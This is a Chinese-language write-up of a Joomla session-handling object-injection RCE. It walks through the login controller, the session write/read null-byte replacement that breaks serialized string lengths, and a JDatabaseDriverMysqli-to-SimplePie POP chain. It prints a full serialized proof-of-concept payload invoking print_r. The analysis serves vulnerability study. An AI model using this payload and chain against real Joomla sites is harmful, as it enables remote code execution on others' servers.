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前言:

本文只分析发生漏洞得原因，具体pop链简略分析。

joomla中得session会被存入数据库中，这是以前版本得RCE就可以得知得事情。

/libraries/joomla/session/storage.php:

public function register()
    {
        // Use this object as the session handler
        session_set_save_handler(
            array($this, 'open'), array($this, 'close'), array($this, 'read'), array($this, 'write'),
            array($this, 'destroy'), array($this, 'gc')
        );
    }

通过这里得到目标注册得几个函数，但是此方法为抽象类，也就是说不能实例化的，所以我们需要寻找继承了此类的类进行分析,在JSessionStorageDatabase对象中，均重写了上面的几个函数。

0x01 入口：

根据github给出的payload得出路由为：/index.php/component/users
根据路由找到目标文件的真实文件为：/components/com_users/users.php
此文件获取了一个task参数，这个参数不做具体分析，我们只需要得知目标会根据此参数来找到最终提交的函数
payload中有如下：

'task': 'user.login',

也就是说会提交到 user控制器下面的login方法，直接追过去就好了，具体路径为：components/com_users/controllers/user.php
代码：

public function login()
    {
        JSession::checkToken('post') or jexit(JText::_('JINVALID_TOKEN'));

        $app    = JFactory::getApplication();
        $input  = $app->input;
        $method = $input->getMethod();

        // Populate the data array:
        $data = array();

        $data['return']    = base64_decode($app->input->post->get('return', '', 'BASE64'));
        $data['username']  = $input->$method->get('username', '', 'USERNAME');
        $data['password']  = $input->$method->get('password', '', 'RAW');
        $data['secretkey'] = $input->$method->get('secretkey', '', 'RAW');

        // Don't redirect to an external URL.
        if (!JUri::isInternal($data['return']))
        {
            $data['return'] = '';
        }

        // Set the return URL if empty.
        if (empty($data['return']))
        {
            $data['return'] = 'index.php?option=com_users&view=profile';
        }

        // Set the return URL in the user state to allow modification by plugins
        $app->setUserState('users.login.form.return', $data['return']);

        // Get the log in options.
        $options = array();
        $options['remember'] = $this->input->getBool('remember', false);
        $options['return']   = $data['return'];

        // Get the log in credentials.
        $credentials = array();
        $credentials['username']  = $data['username'];
        $credentials['password']  = $data['password'];
        $credentials['secretkey'] = $data['secretkey'];

        // Perform the log in.
        if (true === $app->login($credentials, $options))
        {
            // Success
            if ($options['remember'] == true)
            {
                $app->setUserState('rememberLogin', true);
            }

            $app->setUserState('users.login.form.data', array());
            $app->redirect(JRoute::_($app->getUserState('users.login.form.return'), false));
        }
        else
        {
            // Login failed !
            $data['remember'] = (int) $options['remember'];
            $app->setUserState('users.login.form.data', $data);
            $app->redirect(JRoute::_('index.php?option=com_users&view=login', false));
        }
    }

0x02 进入login中:

这里我们可以看下重点代码：

JSession::checkToken('post') or jexit(JText::_('JINVALID_TOKEN'));

进入checkToken函数中,具体看下

$session = JFactory::getSession();
            if ($session->isNew())

跟进后发现这句代码获取了现在的session对象：

public static function getSession(array $options = array())
    {
        if (!self::$session)
        {
            self::$session = self::createSession($options);
        }

        return self::$session;
    }

这里获取到的对象其实就是当前对象，因为我在下面发现了isNew函数:

public function isNew()
    {
        $counter = $this->get('session.counter');
        return (bool) ($counter === 1);
    }

然后在跟进get函数:

public function get($name, $default = null, $namespace = 'default')
    {
        // Add prefix to namespace to avoid collisions
        $namespace = '__' . $namespace;
        if ($this->_state === 'destroyed')
        {
            // @TODO :: generated error here
            $error = null;
            return $error;
        }
        if (isset($_SESSION[$namespace][$name]))
        {
            return $_SESSION[$namespace][$name];
        }
        return $default;
    }

也就是说此时return的是：

$_SESSION[__default][session.counter]

因为\$this->_state === 'destroyed' 判断根本不成立，在start函数中，有如下代码:

public function start()
    {
        if ($this->_state === 'active')
        {
            return;
        }
        $this->_start();
        $this->_state = 'active';

他会将_state变量预设为active。此时的counter获取出来确实是等于1，所以会直接返回true

return (bool) ($counter === 1);

返回为真，再次回到checktoken函数：

if ($session->isNew())
            {
                // Redirect to login screen.
                $app->enqueueMessage(JText::_('JLIB_ENVIRONMENT_SESSION_EXPIRED'), 'warning');
                $app->redirect(JRoute::_('index.php'));
            }
            else
            {
                return false;
            }

然后进入if中的真流程，重点可以看下这句：

$app->redirect(JRoute::_('index.php'));

我们跟进redirect函数：

public function redirect($url, $status = 303)
    {
        // Handle B/C by checking if a message was passed to the method, will be removed at 4.0
        if (func_num_args() > 1)
        {
            $args = func_get_args();

            /*
             * Do some checks on the $args array, values below correspond to legacy redirect() method
             *
             * $args[0] = $url
             * $args[1] = Message to enqueue
             * $args[2] = Message type
             * $args[3] = $status (previously moved)
             */
            if (isset($args[1]) && !empty($args[1]) && (!is_bool($args[1]) && !is_int($args[1])))
            {
                // Log that passing the message to the function is deprecated
                JLog::add(
                    'Passing a message and message type to JFactory::getApplication()->redirect() is deprecated. '
                    . 'Please set your message via JFactory::getApplication()->enqueueMessage() prior to calling redirect().',
                    JLog::WARNING,
                    'deprecated'
                );

                $message = $args[1];

                // Set the message type if present
                if (isset($args[2]) && !empty($args[2]))
                {
                    $type = $args[2];
                }
                else
                {
                    $type = 'message';
                }

                // Enqueue the message
                $this->enqueueMessage($message, $type);

                // Reset the $moved variable
                $status = isset($args[3]) ? (boolean) $args[3] : false;
            }
        }

        // Persist messages if they exist.
        if (count($this->_messageQueue))
        {
            $session = JFactory::getSession();
            $session->set('application.queue', $this->_messageQueue);
        }

        // Hand over processing to the parent now
        parent::redirect($url, $status);
    }

看着这么长一串实际上这玩意，emmm 啥也没干，因为第一个if,我们只传入了一个变量所以直接跳过,第二个if判断中只设置了一个session变量。

parent::redirect($url, $status);

再次跟入parent::redirect,一长串代码，其实还是什么也没干，在那组合url，到最后执行到了$this->close();
而close中的代码为：

public function close($code = 0)
    {
        exit($code);
    }

分析到此处的时候，我不禁陷入了对人生以及社会的大思考当中。tmd到底在哪里写入了session？后来回到刚刚走过的代码再次认真的看了一次后发现，在_start中还有这么个东西：

register_shutdown_function('session_write_close');

可以看下官方给出的定义:

注册一个会在php中止时执行的函数
简单的来说就是整个php程序的__destract(),在php结束之前均会执行此代码。

然后可以看下write:

public function write($id, $data)
    {
        // Get the database connection object and verify its connected.
        $db = JFactory::getDbo();

        $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);

        try
        {
            $query = $db->getQuery(true)
                ->update($db->quoteName('#__session'))
                ->set($db->quoteName('data') . ' = ' . $db->quote($data))
                ->set($db->quoteName('time') . ' = ' . $db->quote((int) time()))
                ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));

这里获取的两个参数分别为:cookie中的sessionid以及序列化组合过后的session。
重点看下面这句替换的代码：

$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);

会将chr(0) . '' . chr(0)替换为\0\0\0,正因为这个机制造成了这次的RCE,chr(0).\.chr(0)为三个字节长度,但是\0\0\0为6个字节长度。后面的read代码中，将所有的\0\0\0全部替换成了chr(0).*.chr(0)

public function read($id)
    {
        // Get the database connection object and verify its connected.
        $db = JFactory::getDbo();

        try
        {
            // Get the session data from the database table.
            $query = $db->getQuery(true)
                ->select($db->quoteName('data'))
            ->from($db->quoteName('#__session'))
            ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));

            $db->setQuery($query);

            $result = (string) $db->loadResult();

            $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);

            return $result;
        }

实验：

实验代码：

<?php
class a{
    public $a;
    function __construct()
    {
        $this->a = chr(0) . '*' . chr(0);
    }
}

echo serialize(new a());

?>

输出:

O:1:"a":1:{s:1:"a";s:3:"*";}

实验代码2：

<?php
class a{
    public $a;
    function __construct()
    {
        $this->a = '\0\0\0';
    }
}

echo str_replace('\0\0\0' , chr(0) . '*' . chr(0),serialize(new a()));

?>

输出:

O:1:"a":1:{s:1:"a";s:6:"*";}

可以看出将\0替换为了chr(0)后并没有替换长度。

payload分析：

此时的payload为:

__default|a:8:{s:15:"session.counter";i:5;s:19:"session.timer.start";i:1570637551;s:18:"session.timer.last";i:1570639080;s:17:"session.timer.now";i:1570639097;s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":1:{s:5:"users";O:8:"stdClass":1:{s:5:"login";O:8:"stdClass":1:{s:4:"form";O:8:"stdClass":2:{s:4:"data";a:5:{s:6:"return";s:39:"index.php?option=com_users&view=profile";s:8:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:409:"AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:7:"print_r";s:10:"javascript";i:9999;s:8:"feed_url";s:23:"http://l4m3rz.l337/;OK!";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:6:"return";s:102:";s:9:"secretkey";s:0:"";s:8:"remember";i:0;}s:6:"return";s:39:"index.php?option=com_users&view=profile";}}}}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";N;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";N;s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"fa2ab7b7344f28f76aae8b401921288e";s:17:"application.queue";a:1:{i:0;a:2:{s:7:"message";s:69:"Username and password do not match or you do not have an account yet.";s:4:"type";s:7:"warning";}}}

然后将\0\0\0替换为特殊字符后:

O:1:"a":1:{s:1:"a";s:1995:"__default|a:8:{s:15:"session.counter";i:5;s:19:"session.timer.start";i:1570637551;s:18:"session.timer.last";i:1570639080;s:17:"session.timer.now";i:1570639097;s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"*data";O:8:"stdClass":1:{s:5:"users";O:8:"stdClass":1:{s:5:"login";O:8:"stdClass":1:{s:4:"form";O:8:"stdClass":2:{s:4:"data";a:5:{s:6:"return";s:39:"index.php?option=com_users&view=profile";s:8:"username";s:54:"*********";s:8:"password";s:409:"AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"*a";O:17:"JSimplepieFactory":0:{}s:21:"*disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:7:"print_r";s:10:"javascript";i:9999;s:8:"feed_url";s:23:"http://l4m3rz.l337/;OK!";}i:1;s:4:"init";}}s:13:"*connection";i:1;}s:6:"return";s:102:";s:9:"secretkey";s:0:"";s:8:"remember";i:0;}s:6:"return";s:39:"index.php?option=com_users&view=profile";}}}}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"*isRoot";N;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"*_params";O:24:"Joomla\Registry\Registry":2:{s:7:"*data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"*_authGroups";N;s:14:"*_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"*_authActions";N;s:12:"*_errorMsg";N;s:13:"*userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"*_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"fa2ab7b7344f28f76aae8b401921288e";s:17:"application.queue";a:1:{i:0;a:2:{s:7:"message";s:69:"Username and password do not match or you do not have an account yet.";s:4:"type";s:7:"warning";}}}";}

其中:

s:54:"*********"

实际占位为27位但是这里却是54位，多出来的27位从后面补入，此时的payload实际上为：

s:54:[*********";s:8:"password";s:409:"AAA]

最后得出真正被反序列化的是：

s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"*a";O:17:"JSimplepieFactory":0:{}s:21:"*disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:7:"print_r";s:10:"javascript";i:9999;s:8:"feed_url";s:23:"http://l4m3rz.l337/;OK!";}i:1;s:4:"init";}}s:13:"*connection";i:1;}s:6:"return";s:102:";s:9:"secretkey";s:0:"";s:8:"remember";i:0;}s:6:"return";s:39:"index.php?option=com_users&view=profile";}}}}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"*isRoot";N;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"*_params";O:24:"Joomla\Registry\Registry":2:{s:7:"*data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"*_authGroups";N;s:14:"*_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"*_authActions";N;s:12:"*_errorMsg";N;s:13:"*userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"*_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"fa2ab7b7344f28f76aae8b401921288e";s:17:"application.queue";a:1:{i:0;a:2:{s:7:"message";s:69:"Username and password do not match or you do not have an account yet.";s:4:"type";s:7:"warning";}}}";}

而username中的N个\0以及password中的AAA早就被程序逻辑导致的溢出吃的一干二净了。

POP链分析：

在payload中可以得到目标pop链的入口为:JDatabaseDriverMysqli,我们直接追进去就好了:

public function __destruct()
    {
        $this->disconnect();
    }

跟进disconnect方法：

public function disconnect()
    {
        // Close the connection.
        if ($this->connection)
        {
            foreach ($this->disconnectHandlers as $h)
            {
                call_user_func_array($h, array( &$this));
            }

            mysqli_close($this->connection);
        }

        $this->connection = null;
    }

这里的call_user_func_array($h, array( &$this));简直和thinkphp中反序列化pop链那个一模一样，只能控制第一个参数,所以我们需要进行这样调用:

call_user_func_array([$obj,"任意方法"],array( &$this))

到这一步就很简单了，按照pop链的方法来看就在：
/libraries/simplepie/simplepie.php

if ($this->feed_url !== null || $this->raw_data !== null)
        {
            $this->data = array();
            $this->multifeed_objects = array();
            $cache = false;

            if ($this->feed_url !== null)
            {
                $parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
                // Decide whether to enable caching
                if ($this->cache && $parsed_feed_url['scheme'] !== '')
                {
                    $cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');

关键点在这:

call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');

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